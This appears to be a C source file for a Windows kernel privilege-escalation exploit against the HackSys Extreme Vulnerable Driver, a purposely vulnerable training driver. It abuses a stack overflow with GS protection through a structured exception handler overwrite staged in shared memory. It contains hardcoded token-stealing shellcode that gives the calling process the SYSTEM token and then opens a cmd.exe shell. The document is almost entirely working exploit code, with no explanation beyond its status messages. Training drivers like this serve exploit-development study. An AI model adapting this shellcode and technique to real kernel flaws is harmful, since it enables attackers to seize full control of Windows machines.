1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155
| #include <stdio.h> #include <windows.h> #include <conio.h>
#define HACKSYS_HEVD_IOCTL_STACK_OVERFLOW_GS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS)
#define KTHREAD_OFFSET 0x124 #define EPROCESS_OFFSET 0x050 #define PID_OFFSET 0x0B4 #define FLINK_OFFSET 0x0B8 #define TOKEN_OFFSET 0x0F8 #define SYSTEM_PID 0x004 #define SHARED_MEMORY_NAME "HackSysExtremeVulnerableDriverSharedMemory" #define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
unsigned char kShellcode[] = {
0x60, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x89, 0xC1, 0xBA, 0x04, 0x00, 0x00, 0x00, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x2D, 0xB8, 0x00, 0x00, 0x00, 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, 0x75, 0xED, 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, 0x8B, 0xB9, 0xF8, 0x00, 0x00, 0x00, 0x83, 0xE2, 0xF8, 0x83, 0xE7, 0x07, 0x01, 0xFA, 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, 0x61, 0x31, 0xC0,
0x8b, 0xbc, 0x24, 0x8c, 0x07, 0x00, 0x00, 0x8b, 0xb4, 0x24, 0x90, 0x07, 0x00, 0x00, 0x8b, 0x9c, 0x24, 0x94, 0x07, 0x00, 0x00, 0x90, 0x90, 0x90, 0x81, 0xc4, 0xb8, 0x09, 0x00, 0x00, 0x5d, 0xc2, 0x08, 0x00 };
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
HANDLE open_device(const char* device_name) { HANDLE device = CreateFileA(device_name, GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL ); return device; }
void close_device(HANDLE device) { CloseHandle(device); }
BOOL send_ioctl(HANDLE device, DWORD ioctl_code) { ULONG BytesReturned; SIZE_T PageSize = 0x1000; HANDLE Sharedmemory = NULL; PVOID MemoryAddress = NULL; PVOID SuitableMemoryForBuffer = NULL; LPVOID SharedMappedMemoryAddress = NULL; SIZE_T SeHandlerOverwriteOffset = 0x214; LPCTSTR SharedMemoryName = (LPCSTR)SHARED_MEMORY_NAME;
printf("\t\t[+] Creating Shared Memory\n"); Sharedmemory = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, PageSize, SharedMemoryName); if (!Sharedmemory) { printf("\t\t\t[-] Failed To Create Shared Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { printf("\t\t\t[+] Shared Memory Handle: 0x%p\n", Sharedmemory); } printf("\t\t[+] Mapping Shared Memory To Current Process Space\n"); SharedMappedMemoryAddress = MapViewOfFile(Sharedmemory, FILE_MAP_ALL_ACCESS, 0, 0, PageSize); if (!SharedMappedMemoryAddress) { printf("\t\t\t[-] Failed To Map Shared Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { printf("\t\t\t[+] Mapped Shared Memory: 0x%p\n", SharedMappedMemoryAddress); }
SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset)); printf("\t\t[+] Suitable Memory For Buffer: 0x%p\n", SuitableMemoryForBuffer);
printf("\t\t[+] Preparing Buffer Memory Layout\n");
RtlFillMemory(SharedMappedMemoryAddress, PageSize, 0x41);
MemoryAddress = (PVOID)((ULONG)SuitableMemoryForBuffer + 0x210); *(PULONG)MemoryAddress = (ULONG)kShellcode;
printf("\t\t\t[+] SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress); printf("\t\t\t[+] SE Handler Address: 0x%p\n", MemoryAddress);
printf("\t\t[+] EoP Payload: 0x%p\n", kShellcode); printf("\t[+] Triggering Kernel Stack Overflow GS\n"); printf("\t[+] Making the driver read from usermode %x to %x.\n", (ULONG)SuitableMemoryForBuffer, (ULONG)((ULONG)SuitableMemoryForBuffer + (ULONG)SeHandlerOverwriteOffset)); OutputDebugString("****************Kernel Mode****************\n"); DeviceIoControl(device, ioctl_code, (LPVOID)SuitableMemoryForBuffer, (DWORD)SeHandlerOverwriteOffset + 0x4, NULL, 0, &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); return EXIT_SUCCESS; }
int main() { HANDLE dev = open_device(kDevName); if (dev == INVALID_HANDLE_VALUE) { printf("Failed!\n"); system("pause"); return -1; } send_ioctl(dev, HACKSYS_HEVD_IOCTL_STACK_OVERFLOW_GS); close_device(dev); system("cmd.exe"); system("pause"); return 0; }
|